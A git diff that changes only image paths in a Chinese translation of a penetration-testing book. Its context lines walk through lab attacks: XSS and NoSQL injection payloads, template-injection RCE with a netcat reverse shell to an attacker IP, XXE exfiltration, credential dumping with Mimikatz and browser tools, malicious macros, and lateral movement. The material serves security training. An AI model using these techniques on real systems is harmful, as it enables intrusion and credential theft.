]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() ``` -![](img/chapter_3/3-15.png) +![](img/3-15.png) 如你所知,许多浏览器已开始包含 XSS 保护机制。我们甚至可以使用这些 payload 来绕过某些浏览器保护。尝试在 Kali 之外的真实浏览器中使用它们,例如 Chrome。 @@ -472,7 +472,7 @@ NoSQL 注入的一个常见例子是注入类似的东西:`[{"$gt":""}]`。这 * 尝试使用任何用户名和密码进行身份验证。查看在 Burp Suite 中的身份验证请求期间发送的 POST 流量。 -![](img/chapter_3/3-16.png) +![](img/3-16.png) 在我们的聊天应用程序中,我们将看到在对/loginnosql 端点进行身份验证期间,我们的 POST 数据将包含 `{ "用户名":"admin","密码": "GuessingAdminPassword" }`。在 POST 请求中使用 JSON 来验证用户是很常见的,但是如果我们定义自己的 JSON 对象,我们可能会使用不同的条件语句来生成真正的语句。这实际上等于传统的 SQLi 1 = 1语句和绕过认证。让我们看看我们是否可以将其注入我们的应用程序。 @@ -493,7 +493,7 @@ NoSQL 注入的一个常见例子是注入类似的东西:`[{"$gt":""}]`。这 * `{"username":"admin","password","GuessingAdminPassword"} --> {"username":"admin","password":{"$gt":""}}` * 你现在应该可以以管理员身份登录! -![](img/chapter_3/3-17.png) +![](img/3-17.png) 那么这里发生了什么呢?我们将字符串 "GuessingAdminPassword" 更改为JSON对象 `{"$gt":""}`,这是 TRUE 语句,因为大于 NULL 的所有内容都为 TRUE。这将 POST 请求更改为 `{"username":"admin", "password":TRUE }`,它自动使请求为 TRUE 并以管理员身份登录而不需要知道密码,类似 SQLi 中的 1 = 1 攻击。 @@ -519,7 +519,7 @@ NoSQL 注入并不新鲜,但 NodeJS 章节的目的是展示更新的框架和 * 修改 POST 参数: * `username=admin&password[$gt]=&submit=login` -![](img/chapter_3/3-18.png) +![](img/3-18.png) 你应该可以使用 admin 登录了!你已使用 Express Framework 使用的 qs 模块解析器执行 NoSQL 注入,作为解析器中间件的一部分。但等等,还有更多!如果你不知道要攻击哪个用户名怎么办?我们可以使用同样的攻击来查找和登录其他帐户吗? @@ -545,7 +545,7 @@ NodeJS 中的反序列化
让我们逐步了解攻击的细节,以便更好地了解正在发生的事情。第一,我们查看了 serialize.js 文件并快速搜索 eval( https://github.com/luin/serialize/search?utf8=%E2%9C%93&q=eval&type= )。通常,允许用户输入进入 JavaScript eval 语句是坏的消息,因为 `eval()`执行原始 JavaScript。如果攻击者能够将 JavaScript 注入此语句,他们将能够在服务器上执行远程执行代码。 -![](img/chapter_3/3-19.png) +![](img/3-19.png) 其次,我们需要创建一个序列化的 payload,它将被反序列化,并通过我们的 JavaScript payload `require('child_process').exec('ls')`. @@ -562,9 +562,9 @@ NodeJS 中的反序列化
* 识别一个 cookie 名称“donotdecodeme” * 将该 Cookie 复制到 Burp Suite Decoder 和 Base64 中进行解码 -![](img/chapter_3/3-20.png) +![](img/3-20.png) -![](img/chapter_3/3-21.png) +![](img/3-21.png) 如前所述,每种语言都有其独特的地方,NodeJS 也不例外。在 Node/Express/Pug 中,你无法直接写入 Web 目录,但是可以像在 PHP 中一样访问它。必须有一个指向文件夹的指定路径,该文件夹既可写又可访问到公共网络。 @@ -589,11 +589,11 @@ NodeJS 中的反序列化
* 转发流量,因为公用文件夹是/的路由,你应该能够打开浏览器并转到 http://chat:3000/hacked.txt * 你现在可以进行远程执行代码!随意对此系统进行后期利用。首先尝试访问 `/etc/passwd`。 -![](img/chapter_3/3-22.png) +![](img/3-22.png) 在 node-serialize 模块的源代码中,我们可以利用函数表达式,这对于使用用户输入执行此操作的任何 JavaScript/NodeJS 应用程序来说都是一个严重的问题。这种糟糕的做法让我们攻陷了这个应用程序。 -![](img/chapter_3/3-23.png) +![](img/3-23.png) 参考文献: @@ -619,7 +619,7 @@ NodeJS 中的反序列化
以下是 HTML 和 Pug 模板的示例: -![](img/chapter_3/3-24.png) +![](img/3-24.png) 上面的示例文本显示了它在 HTML 中的外观以及相应的 Pug Markup 语言的外观。通过模板和字符串插值,我们可以创建快速,可重用且高效的模板 @@ -634,9 +634,9 @@ NodeJS 中的反序列化
* 这表明应用程序容易受到 XSS 的攻击,但我们可以与模板系统进行交互吗? * 在 Burp 历史记录中,查看服务器请 request/response 的响应 `/ti?user=`,并将请求发送到 Burp Repeater(ctrl+r) -![](img/chapter_3/3-25.png) +![](img/3-25.png) -![](img/chapter_3/3-26.png) +![](img/3-26.png) **测试基本操作** @@ -649,7 +649,7 @@ NodeJS 中的反序列化
* 我们可以看到它没有用,我们没有得到81,请记住,我们的用户输入包含在段落标记内,所以我们可以假设我们的 Pug 模板代码看起来像这样: * p Message has been sent to !{user} -![](img/chapter_3/3-27.png) +![](img/3-27.png) 利用 Pug 的特点: @@ -668,7 +668,7 @@ NodeJS 中的反序列化
* `GET /ti?user=%0a%3d9*9&comment=&link=` * `GET /ti?user=%0a%3d9*9`在响应正文中给出了81。你已在用户参数中发现了模板注入!让我们通过利用 JavaScript 来获取远程代码。 -![](img/chapter_3/3-28.png) +![](img/3-28.png) 正如你在响应中所看到的,我们在段落标记之外有“81”而不是用户名!这意味着我们能够注入模板。 @@ -680,7 +680,7 @@ NodeJS 中的反序列化
* 使用上面的 URL 编码字符串作为用户值并重新发送。 * 如果在提交前后请求一切顺利,我们将看到 [object global],这意味着我们可以访问全局对象。 -![](img/chapter_3/3-29.png) +![](img/3-29.png) 解析全局对象: * 让我们通过在全局范围内使用 Pug 迭代器‘each’来查看我们可以访问的对象和属性。记住换行符(%0a)和空格(%20): @@ -690,7 +690,7 @@ NodeJS 中的反序列化
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2 * 在上面的例子中,我们使用‘each’迭代器,它可以访问一个值,并且如果我们指定了数组或对象,也可以选择访问索引。我们试图找到我们在全局对象中可以访问的对象,方法或模块。我们的最终目标是找到类似“require”方法的东西,以允许我们导入 child_process.exec,它允许我们运行系统命令。从现在开始,我们只是使用反复试验来识别最终会给我们 require 方法的方法或对象。 - ![](img/chapter_3/3-30.png) + ![](img/3-30.png) 查找代码执行功能: @@ -705,7 +705,7 @@ NodeJS 中的反序列化
* URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2 - ![](img/chapter_3/3-31.png) + ![](img/3-31.png) 远程执行代码: @@ -720,13 +720,13 @@ NodeJS 中的反序列化
* 来自 Web 服务器的 /etc/passwd。 * 使用此命令在系统上执行完整的 RCE 并返回 shell。 - ![](img/chapter_3/3-32.png) + ![](img/3-32.png) 现在,我们可以对这一系列操作实现自动化吗?当然可以。有一个类似 SQLmap 的名为 [Tplmap](https://github.com/epinna/tplmap) 的工具,它可以尝试模板注入的所有不同组合: * cd /opt/tplmap * ./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link=" - ![](img/chapter_3/3-33.png) + ![](img/3-33.png) 参考: @@ -745,7 +745,7 @@ NodeJS 中的反序列化
在我们的实验室中,我们将在 Node 应用程序上执行上传 RCE。在我们的示例中,有一个文件上传功能,允许任何文件上传。不幸的是,使用 Node,我们不能只通过 Web 浏览器调用文件来执行文件,就像在 PHP 中一样。因此,在这种情况下,我们将使用动态路由端点尝试呈现 Pug 文件的内容。错误在于端点将读取文件的内容,假设它是 Pug 文件,因为默认目录存在于 Views 目录中。此端点上还存在路径遍历和本地文件读取漏洞。 - ![](img/chapter_3/3-34.png) + ![](img/3-34.png) 在上传过程中,文件处理程序模块会将文件重命名为随机字符串,没有扩展名。在页面的上传响应内容中,存在上载文件的服务器路径位置。使用这些信息,我们可以使用/drouting 执行模板注入以实现远程代码执行。 @@ -763,9 +763,9 @@ RCE 上传攻击: * `-x('child_process')。exec('nc [Your_IP] 8888 -e / bin / bash')` * 通过上传文件查看 Burp 中的请求和响应。你将注意到在响应 POST 请求中上传的文件的哈希值以及引用的 drouting。 - ![](img/chapter_3/3-35.png) + ![](img/3-35.png) - ![](img/chapter_3/3-36.png) + ![](img/3-36.png) * 在这个模板代码中,我们将 require 函数分配给 child_process.exec,它允许我们在操作系统级别上运行命令。此代码将使 Web 服务器连接到在端口8888上 `[Your_IP]` 上运行的监听器,并允许我们在 Web 服务器上运行 shell。 * 在攻击者计算机上,启动 shell 的 netcat 侦听器以连接回 @@ -775,7 +775,7 @@ RCE 上传攻击: * `/drouting?filename=../uploads/[你的文件哈希]` * 回到你的终端监听 8888 端口并在你的 shell 里操作吧! - ![](img/chapter_3/3-37.png) + ![](img/3-37.png) ### 服务器端请求伪造(SSRF) 服务器端请求伪造(SSRF)是我认为通常被误解的漏洞之一,并且在术语方面,经常与跨站点请求伪造(CSRF)混淆。虽然这个漏洞已经存在了一段时间,但实际上还没有得到足够的讨论和重视,尤其它可以造成的相当严重的后果。让我们来看看它是什么以及为什么会造成严重的后果。 @@ -795,7 +795,7 @@ SSRF 漏洞允许你可以执行以下操作: 在我们的下图中,我们发现 Web 应用程序上存在易受攻击的 SSRF,允许我们利用此漏洞: - ![](img/chapter_3/3-38.png) + ![](img/3-38.png) **让我们来看一个现实中的例子:** @@ -805,7 +805,7 @@ SSRF 漏洞允许你可以执行以下操作: * 你现在应该看到 http://cyberspacekittens.com 页面的呈现,但 URI 栏仍应指向我们的聊天应用程序。 * 这表明该站点容易受到 SSRF 的攻击。我们也可以尝试聊天:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000 并指向 localhost。请注意,页面呈现了,我们现在正通过有漏洞的服务器上的 localhost 访问该站点。 - ![](img/chapter_3/3-39.png) + ![](img/3-39.png) 我们知道应用程序本身正在监听3000端口。我们可以从外部对该系统进行 nmap 扫描,并发现当前没有其他 Web 端口正在监听,但是哪些服务仅仅对于 localhost 可用?要搞清楚这个问题,我们需要通过127.0.0.1的所有端口强制执行。我们可以通过使用 Burp Suite 和 Intruder 来实现这一目标。 @@ -821,18 +821,18 @@ SSRF 漏洞允许你可以执行以下操作: * Step:1 * 点击 `Start Attack` -![](img/chapter_3/3-40.png) +![](img/3-40.png) -![](img/chapter_3/3-41.png) +![](img/3-41.png) 你将看到端口28017的响应长度远大于所有其他请求。如果我们打开浏览器并转到:http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017 ,我们应该能够利用我们的 SSRF 并获得对 MongoDB Web 界面的访问权限。 - ![](img/chapter_3/3-42.png) + ![](img/3-42.png) 你应该能够访问所有链接,但你必须记住你需要使用 SSRF。要访问 serverStatus( http://chat:3000/serverStatus?text=1 ),你必须使用 SSRF 攻击并转到此处: * http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus?text=1 - ![](img/chapter_3/3-43.png) + ![](img/3-43.png) 服务器端请求伪造可能非常危险。虽然不是新的漏洞,但目前发现的 SSRF 漏洞数量越来越多。由于 SSRF 允许在基础设施内进行移动,这通常会导致某些重要的发现。 @@ -903,7 +903,7 @@ XML 代表可扩展标记语言,旨在发送/存储易于阅读的数据。 XM * 请注意,`%26` 等同于`&`,`%3B`等同于 `;`。我们需要对&符号和分号字符进行百分比编码。 * 发送流量包,我们现在应该能够读取 `/etc/passwd` - ![](img/chapter_3/3-44.png) + ![](img/3-44.png) ### 高级 XXE——XXE-OOB 在之前的攻击中,我们能够在``标签中获得返回的响应。那么如果我们看不到响应或遇到字符或文件限制怎么办?我们怎样使用带外数据协议(OOB)来发送我们的数据?我们可以提供远程文档类型定义(DTD)文件来执行 OOB-XXE,而不是在请求 payload 中定义我们的攻击。DTD 是结构良好的 XML 文件,用于定义 XML 文档的结构和法律元素及属性。为了简单起见,我们的 DTD 将包含我们所有的攻击或 exfil payload,这将帮助我们解决许多字符的限制。在我们的实验示例中,我们将使有 XXE 漏洞的服务器请求一个托管在远程服务器上的 DTD。 @@ -945,7 +945,7 @@ XML 代表可扩展标记语言,旨在发送/存储易于阅读的数据。 XM %all; ``` -![](img/chapter_3/3-45.png) +![](img/3-45.png) 一旦我们重放我们新修改的请求,我们现在就可以看到我们的受害者服务器首先获取并运行了 payload.dtd 文件,然后监听8888端口的 NetCat 处理程序发出二次 Web 请求。当然,GET 请求将采用 base64编码并且我们也将必须对请求进行解码。 diff --git a/docs/hacker-playbook-3/4_the_drive_compromising_the_network.md b/docs/hacker-playbook-3/4_the_drive_compromising_the_network.md index 09b3ef7e5eeced69473f529cda865579c4c48f49..08c50bd94a0ccf3a942729d8041f8ddfdfcf3818 100644 --- a/docs/hacker-playbook-3/4_the_drive_compromising_the_network.md +++ b/docs/hacker-playbook-3/4_the_drive_compromising_the_network.md @@ -4,7 +4,7 @@ > > 校对者:[@鶇](http://wp.blkstone.me)、[@leitbogioro](https://github.com/leitbogioro/)、@哈姆太郎、@匿名jack -![](img/chapter_4/4-1.png) +![](img/4-1.png) 在进行风险评估项目的第二天,你使用 nmap 扫描了目标的全部网段,还启动了漏洞扫描器,但运气不太好,你没有探测出任何 Web 应用程序的初始入口点。这让你感到有些失败,需要反思一下,重新回顾一下之前收集到的所有信息。因为你知道,一旦可以进入目标网络,就可以使用无数的技巧来获得更多的凭证、在域中漫游、利用 AD(活动目录)的特性,最后找到我们要找的东西。当然,这不是一件容易的事。因为你要绕过众多防火墙,还要欺骗管理员,最后还要擦除自己的痕迹。 @@ -50,7 +50,7 @@ spray.sh -owa *此图是使用 Curl 对 OWA 进行身份认证的快速脚本* +![](img/4-2.png)
*此图是使用 Curl 对 OWA 进行身份认证的快速脚本* 配置 Spray 非常简单,而且其配置文件可以很容易地给其他类似程序参考使用。你需要做的是捕获登录密码时的 POST 请求(可以在 Burp Suite 中完成),复制所有请求数据,并将其保存到文件中。对于任何将要被破解的字段,你需要提供字符串“sprayuser”和“spraypassword”。 @@ -96,11 +96,11 @@ destination=https%3A%2F%2Fcyberspacekittens.com%2Fowa%2F&flags=4&forcedownlevel= ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./passwords.txt ``` - ![](img/chapter_4/4-3.png) + ![](img/4-3.png) 一旦我们找到了一个密码,我们就可以使用 Ruler 来获取 Office 365的全局地址列表(GAL)中的所有用户,以查找更多的电子邮件地址及其所属的电子邮件组。 - ![](img/chapter_4/4-4.png) + ![](img/4-4.png) 我们继续将获取的这些电子邮件地址通过上面提及的那些密码破解工具来进行破解的尝试,从而获得更多的身份凭证——这就和滚雪球一样。不过,Ruler 的主要用途是,一旦你有了身份凭证,你就可以利用 Office/Outlook 的一些功能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的文章 [outlook-forms-shells](https://sensepost.com/blog/2017/outlook-forms-shells/),介绍了他们是怎样利用这些功能来执行包含 Empire payload 的宏文件的。 @@ -193,7 +193,7 @@ ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./pas 现在,因为我们处于 Windows 的企业环境中,我们可以假设它很可能正在运行 Active Directory(活动目录)。因此,如果我们能够响应来自受害者主机的 DNS 查找请求,我们就可以使他们的系统连接到我们的 SMB 共享服务。由于它们正在连接到 \cyberspacekittenssecretdrive 驱动器,因此我们将强制受害者使用他的 NTLMv2 凭证(或缓存的凭证)进行身份验证。我们捕获的这些凭证不是直接的 NTLM 哈希,而是 NTLM 请求/响应哈希(NTLMv2-SSP)。这些哈希表的唯一缺点是,破解它们的速度要比普通的 NTLM 哈希表要慢得多,但是相比于我们要进行的大型凭证爆破动作来说,这不是一个大麻烦。 -![](img/chapter_4/4-5.png) +![](img/4-5.png) 我们可以获取 NTLMv2哈希,将其传递给本地的 hashcat 程序破解此密码。在 hashcat 中,我们需要指定散列格式 “-m”( https://hashcat.net/wiki/doku.php?id=example_hashes )为 Net-NTLMv2 。 @@ -203,11 +203,11 @@ ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./pas - python ./Responder.py -I eth0 -wfFbv -![](img/chapter_4/4-6.png) +![](img/4-6.png) 从上面的图像中可以看到,用户将被提示输入用户名和密码,大多数人只是按部就班的按提示输入。一旦他们提交了他们的用户名和密码,我们将能够捕获他们的密码明文! -![](img/chapter_4/4-7.png) +![](img/4-7.png) ### 更好的 Responder(MultiRelay.py) @@ -227,7 +227,7 @@ Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的 一旦可以实现通过中继连接到受害者主机,我们就需要考虑要在受害者的主机上执行什么操作。默认情况下,MultiRelay 可以生成一个比较基础的 shell,但我们也可以自动执行 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 脚本(用于下载和执行 C2代理)、Mimikatz,或者只是运行 calc.exe 作为测试娱乐。 -![](img/chapter_4/4-8.png) +![](img/4-8.png) 参考文献 @@ -251,7 +251,7 @@ Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的 - nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt -![](img/chapter_4/4-9.png) +![](img/4-9.png) 我们将需要提供一个要测试的用户名列表,但是由于我们只是查询 DC(域控制器)而没有对其进行身份验证,因此通常此行动不会被检测。现在,我们可以采用这些用户帐户,并再次开始密码猜解! @@ -270,9 +270,9 @@ Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的 - 运行 CME 来生成 Empire shells - cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘’ -p ‘’ -M empire_exec -o LISTENER=http -![](img/chapter_4/4-10.png) +![](img/4-10.png) -![](img/chapter_4/4-11.png) +![](img/4-11.png) ## 在攻陷你的第一台机器之后 @@ -319,7 +319,7 @@ Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的 - 查看每个标记的所有查询/命令。我喜欢用的一个是枚举类 - ./rtfm.py -t enumeration | more -![](img/chapter_4/4-12.png) +![](img/4-12.png) 现在,RTFM 非常广泛,有许多不同的有用命令。这是一个不断快速更新的优秀的资源。 @@ -348,7 +348,7 @@ Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的 - Empire PowerUp 模块: - usermodule privesc/powerup/allchecks -![](img/chapter_4/4-13.png) +![](img/4-13.png) 最突出的是: @@ -379,7 +379,7 @@ Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的 - 将 windows.txt 复制到你的 Kali 虚拟机的 /opt/Windows-Exploit-Suggester 下 - python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls -![](img/chapter_4/4-14.png) +![](img/4-14.png) 这个工具已经有一段时间没有被维护了,但是你还是可以轻松地从中寻找到你正需要的能权限提升的漏洞。 @@ -431,7 +431,7 @@ Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的 假设你攻击了 Windows 10系统的主机并且提升权限了,默认情况下,你将调整 Mimikatz 的配置,并根据下面的查询查看到密码字段为空。 -![](img/chapter_4/4-15.png) +![](img/4-15.png) 那么你能做什么呢?最简单的选项是设置注册表项以让系统将密码凭证保存到 LSASS 进程。在 HKLM 中,有一个 UseLogonCredential 设置,如果设置为0,系统将在内存中存储凭据( http://bit.ly/2vhFBiZ ): @@ -445,7 +445,7 @@ Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的 一旦我们锁定屏幕,并让它们重新登录,我们就可以重新运行 Mimikatz 来获得明文密码。 -![](img/chapter_4/4-16.png) +![](img/4-16.png) 如果我们无法提升到本地管理帐户怎么办?我们还有哪些其他方法可以获得用户的凭证?在过去,一个常见的渗透攻击是在客户机的用户空间内存中查看凭据是否以明文形式存储。现在一切都是基于浏览器的,我们能在浏览器中做同样的事情吗? @@ -455,7 +455,7 @@ Mimikitten 支持 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Z 这个工具最好的地方在于它不需要本地管理员权限,因为他只需要访问那些用户本身创建的进程。一旦我们攻击进了主机,我们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 脚本。 -![](img/chapter_4/4-17.png) +![](img/4-17.png) 正如上面所看到的,用户通过 Firefox 登录到 Github 中,我们可以从浏览器内存中提取他们的用户名和密码。现在,我希望这本书的读者都能把这个工具用的越来越高级,为不同的应用程序创建更多的搜索查询。 @@ -463,7 +463,7 @@ Mimikitten 支持 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Z Windows 凭据管理器是 Windows 的默认功能,用于保存系统、网站和服务器的用户名、密码和证书。记不记得当你使用 Microsoft IE/EDGE 对网站进行身份验证后,通常会弹出一个弹出窗口,询问“是否要保存密码?”凭证存储就是存储这些信息的地方,在凭据管理器中,有两种类型的凭据:Web 和 Windows。你还记得哪个用户有权访问这些数据吗?它不是 `system`,而是登录后可以检索此信息的用户。这对我们来说是很好的,就像任何钓鱼网站或代码执行一样,我们通常都可以用别的方法获得那个用户的权限。最好的一点是,我们甚至不需要成为本地管理员来提取这些数据。 -![](img/chapter_4/4-18.png) +![](img/4-18.png) 如何提取这些信息呢?我们可以使用两种不同的 PowerShell 脚本导入以收集此数据: @@ -472,13 +472,13 @@ Windows 凭据管理器是 Windows 的默认功能,用于保存系统、网站 - 收集 Windows 凭证(只收集通用的而不是目标域特有的): - https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1 -![](img/chapter_4/4-19.png) +![](img/4-19.png) 从上图中可以看到,我们提取了他们的 Facebook 存储的凭证和任何他们拥有通用的凭证。记住,对于 Web 凭据,Get-WebCredentials 只能从 Internet Explorer/Edge 获取密码。如果我们需要从 Chrome 获取,我们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,首先需要终止 Chrome 进程,然后运行 ChromeDump,最后,我喜欢拉取下载所有的浏览器历史和 cookies。 我们不仅可以了解他们的内部服务器的大量信息,而且,如果他们的会话仍然存在,我们也可以使用他们的 cookies 和身份验证,而不必知道他们的密码! 使用如下 PowerShell 脚本:https://github.com/sekirkity/browsergather ,我们可以提取所有浏览器 cookies,并通过我们的浏览器利用这些 cookies,但是所有这些 cookies 都没有提升权限的功能。 -![](img/chapter_4/4-20.png) +![](img/4-20.png) 接下来,我们甚至可以开始在受害者系统上可能安装的所有第三方软件中寻找服务器和凭证。一个叫做 [SessionGopher](https://github.com/fireeye/SessionGopher) 的工具可以从 winscp、putty、superputty、filezilla 和 microsoft 远程桌面获取主机名和保存密码。还有一个其他功能是能够从网络上的其他系统远程获取它的本地凭据,启动 sessiongopher 的最简单方法是导入 PowerShell 脚本并执行使用: @@ -506,17 +506,17 @@ Windows 凭据管理器是 Windows 的默认功能,用于保存系统、网站 ``` 5. 生成 Payload -![](img/chapter_4/4-21.png) +![](img/4-21.png) 如果你查看生成的 Office 宏,你将看到它只是由 Python 执行的 Base64代码。幸运的是,Python 是 Mac 上的默认应用程序,当执行这个宏时,我们应该得到 `agent beacon`。 要在 Mac 中创建恶意 Exce l文件,我们可以打开一个新的 Excel 工作表,转到“工具”,查看宏,然后在此工作簿中创建宏,一旦 Microsoft Visual Basic 打开,就删除所有当前代码并将其替换为所有新的宏代码。最后,将其保存为 XLSM 文件。 -![](img/chapter_4/4-22.png) +![](img/4-22.png) 现在,把你的恶意文件发送给你的目标攻击者,看着 Empire 大展神威。在受害者那边,一旦他们打开 Excel 文件,就会出现这样的情况: -![](img/chapter_4/4-23.png) +![](img/4-23.png) 确保创建了一个合理的情形,让他们单击“启用宏”。 @@ -564,7 +564,7 @@ usemodule collection/osx/webcam 我们可以从 setspn 中看到什么类型的信息?下面,运行 setspn 命令,我们会看到一些在域控制器上运行的服务的信息,还有关于工作站的信息,我们还找到了一个名为 csk-github 的服务器。在这个服务器中,我们可以看到在主机上运行着一个 HTTP 服务。如果这些相同的协议运行在不同的端口上的话,这些信息也会被列出。 -![](img/chapter_4/4-24.png) +![](img/4-24.png) setspn 不仅提供有关服务用户和所有主机名的有用信息,它甚至也会告诉我们哪些服务正在系统上什么端口上运行。如果我们可以直接从 AD 中获取服务甚至端口的大部分信息,那为什么我们还需要扫描网络?我们可能马上攻击的东西是什么?Jenkins? Tomcat? ColdFusion? @@ -578,13 +578,13 @@ setspn 不仅提供有关服务用户和所有主机名的有用信息,它甚 让我们通过一个例子来说明我们可以从这个低权限用户那里获得多少数据。在一开始,我们已经在运行 Empire(你可以在 Metasploit、Cobalt Strike 或类似软件都可以),并在受害者系统上执行了 payload。如果你以前从未建立过 Empire,请查看有关建立 Empire 和 Empire payload 的设置章节。一旦我们的代理(agent)与我们的命令和控制服务器通信,我们就可以键入 `info` 以查找有关受害者的信息。在本例中,我们已经攻陷了运行完整补丁的 Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。 -![](img/chapter_4/4-25.png) +![](img/4-25.png) 接下来,我们希望在不引起太多怀疑和注意的情况下从域中查询信息,我们可以使用 Empire 内部的 PowerView 工具来获取信息。PowerView 查询域控制器(DC)以获取有关用户、用户组、计算机等的信息。我们此次使用 PowerView 将只用来查询域控制器,并且使它看起来像正常通信。 Empire 下有哪些模块可用于信息收集呢? -![](img/chapter_4/4-26.png) +![](img/4-26.png) 我们可以从 PowerView 脚本的 get_user 的函数名开始。获取指定域中指定查询用户的信息。通过使用默认设置,我们可以获取有关 AD 中用户的所有信息以及相关信息的转储。 @@ -592,7 +592,7 @@ Empire 下有哪些模块可用于信息收集呢? Module: situational_awareness/network/powerview/get_user ``` -![](img/chapter_4/4-27.png) +![](img/4-27.png) 在上面的转储文件中,我们可以看到关于其中一个用户 `purri gagarin` 的信息。我们得到了什么类型的信息?我们可以看到他们的 sAMAccountName 或用户名,当他们的密码被更改时,看到他们的对象类别是什么,他们是什么权限组的成员,最后登录的时间是什么,等等。使用这个基本的用户转储,我们可以从目录服务中获得大量的信息。我们还能得到什么样的信息呢? @@ -608,7 +608,7 @@ get-group-member 返回给特定组的成员,并选择“recurse”以查找 - set FullData True - execute -![](img/chapter_4/4-28.png) +![](img/4-28.png) 现在,我们有一个用户、组、服务器和服务的收集列表。这将帮助我们了解哪些用户拥有哪些特权。但是,我们仍然需要有关工作站和系统的详细信息。这可能包括版本、创建日期、用途、主机名等。我们可以用一个叫做 get_computer 的模块来获得这些信息。 @@ -618,7 +618,7 @@ Module: situational_awareness/network/powerview/get_computer 描述:get_computer 模块可以查询域中当前的计算机对象。 -![](img/chapter_4/4-29.png) +![](img/4-29.png) get_computer 查询域控制器可以获得什么信息呢?好吧,我们看到我们可以获得关于机器的信息,比如当它被创建时的 DNS 主机名,自定义名称等等。作为攻击者,最有用的侦察细节之一是获取操作系统类型和操作系统版本。在这种情况下,我们可以看到这个系统是 Windows 10 Build 16299版本。我们可以通过获取这些信息,了解操作系统的最新版本以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/windows/release-info.aspx 。 @@ -691,11 +691,11 @@ Bloodhound/Sharphound 的工作原理是在受害者系统上运行一个 Ingest 如果你没有一个域来测试这个,我已经在这里上传了四个 Bloodhound 文件:https://github.com/cyberspacekittens/bloodhound ,这样你就可以重复这些练习了。一旦进入 Bloodhound 并导入了所有数据,我们就可以去查询“查找到域管理员的最短路径”。我们还可以选择特定的用户,看看是否可以将路径映射到特定的用户或组。在我们的示例中,我们攻陷的第一个用户机器是 NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索栏中,我们输入该用户的用户名,单击 `Pathfinding` 按钮,然后键入“Domain Admin”(或任何其他用户),查看是否可以在这些对象之间显示对应的路由路径。 -![](img/chapter_4/4-30.png) +![](img/4-30.png) 你可以从 Neil 的机器上看到,我们可以一路顺利的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是 HelpDesk 组的成员。 -![](img/chapter_4/4-31.png) +![](img/4-31.png) 如果我们能攻陷 HelpDesk 组,我们可以转到 Chris 的主机中,而且 Elon Muskkat 目前已登录此机器。如果我们能转移到他的进程或窃取他的明文密码,我们就可以把权限提升到域管理员! @@ -715,7 +715,7 @@ Bloodhound/Sharphound 的工作原理是在受害者系统上运行一个 Ingest 保存之后,我们应该创建更多的查询。现在我们可以单击查找结果“查找从所属节点到域管理员的最短路径”。 -![](img/chapter_4/4-32.png) +![](img/4-32.png) 如果你想更仔细地研究这个问题,请查看 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直观,并允许更多的自定义功能:https://github.com/porterhau5/bloodhound-owned 。 @@ -746,7 +746,7 @@ Bloodhound/Sharphound 的工作原理是在受害者系统上运行一个 Ingest psinject 描述“能够使用 ReflectivePick 将代理注入另一个进程,从而将通用.NET运行库时加载到进程中并执行特定的 PowerShell 命令,而无需启动新的 PowerShell.exe 进程!”[ http://bit.ly/2HDxj6x ],我们使用它来生成一个全新的、以 buzz.clauldrin 的用户进程运行的 agent,这样我们现在就可以获得他的访问权限。 -![](img/chapter_4/4-33.png) +![](img/4-33.png) ### 离开初始主机 @@ -758,11 +758,11 @@ psinject 描述“能够使用 ReflectivePick 将代理注入另一个进程, Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机名并尝试连接到它们。这绝对是一个会造成很大动静的工具,因为它需要连接到每个主机并且验证它是否是本地管理员。 -![](img/chapter_4/4-34.png) +![](img/4-34.png) 我们可以看到,Empire 的 find_localadmin_access 模块标明了用户访问我们的陷阱的是一个 buzz.cyberspacekittens.local 机器。这应该和我们的 Bloodhound 回显的是一样的。为了再次检查我们是否有访问权限,我通常会执行一些非交互的远程命令,比如 dir \[remote system]\C$ 并查看我们是否有对 C 盘的读/写权限。 -![](img/chapter_4/4-35.png) +![](img/4-35.png) 在域内横向移动方面,有好几种做法。让我们先来看看 Empire 中最常见的(直接从 Empire 中提取的): @@ -798,7 +798,7 @@ Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机 - sysinfo 